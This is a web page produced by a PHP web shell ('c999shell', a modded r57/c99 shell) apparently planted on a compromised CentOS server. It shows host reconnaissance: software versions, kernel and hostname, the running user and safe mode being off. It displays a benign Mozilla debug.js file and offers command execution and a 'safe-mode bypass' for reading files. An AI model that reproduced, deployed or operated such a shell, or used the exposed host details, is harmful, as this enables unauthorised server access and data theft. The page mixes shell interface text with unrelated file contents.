Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/lib/xulrunner-1.9/modules/ drwxr-xr-x |
Viewing file: debug.js (2.69 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | //@line 44 "/builddir/build/BUILD/xulrunner-1.9.0.18/mozilla/toolkit/content/debug.js" var EXPORTED_SYMBOLS = ["NS_ASSERT"]; var gTraceOnAssert = true; /** * This function provides a simple assertion function for JavaScript. * If the condition is true, this function will do nothing. If the * condition is false, then the message will be printed to the console * and an alert will appear showing a stack trace, so that the (alpha * or nightly) user can file a bug containing it. For future enhancements, * see bugs 330077 and 330078. * * To suppress the dialogs, you can run with the environment variable * XUL_ASSERT_PROMPT set to 0 (if unset, this defaults to 1). * * @param condition represents the condition that we're asserting to be * true when we call this function--should be * something that can be evaluated as a boolean. * @param message a string to be displayed upon failure of the assertion */ function NS_ASSERT(condition, message) { if (condition) return; var releaseBuild = true; var defB = Components.classes["@mozilla.org/preferences-service;1"] .getService(Components.interfaces.nsIPrefService) .getDefaultBranch(null); try { switch (defB.getCharPref("app.update.channel")) { case "nightly": case "beta": case "default": releaseBuild = false; } } catch(ex) {} var caller = arguments.callee.caller; var assertionText = "ASSERT: " + message + "\n"; if (releaseBuild) { // Just report the error to the console Components.utils.reportError(assertionText); return; } // Otherwise, dump to stdout and launch an assertion failure dialog dump(assertionText); var stackText = ""; if (gTraceOnAssert) { stackText = "Stack Trace: \n"; var count = 0; while (caller) { stackText += count++ + ":" + caller.name + "("; for (var i = 0; i < caller.arguments.length; ++i) { var arg = caller.arguments[i]; stackText += arg; if (i < caller.arguments.length - 1) stackText += ","; } stackText += ")\n"; caller = caller.arguments.callee.caller; } } var environment = Components.classes["@mozilla.org/process/environment;1"]. getService(Components.interfaces.nsIEnvironment); if (environment.exists("XUL_ASSERT_PROMPT") && !parseInt(environment.get("XUL_ASSERT_PROMPT"))) return; var source = null; if (this.window) source = this.window; var ps = Components.classes["@mozilla.org/embedcomp/prompt-service;1"]. getService(Components.interfaces.nsIPromptService); ps.alert(source, "Assertion Failed", assertionText + stackText); } |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]-- |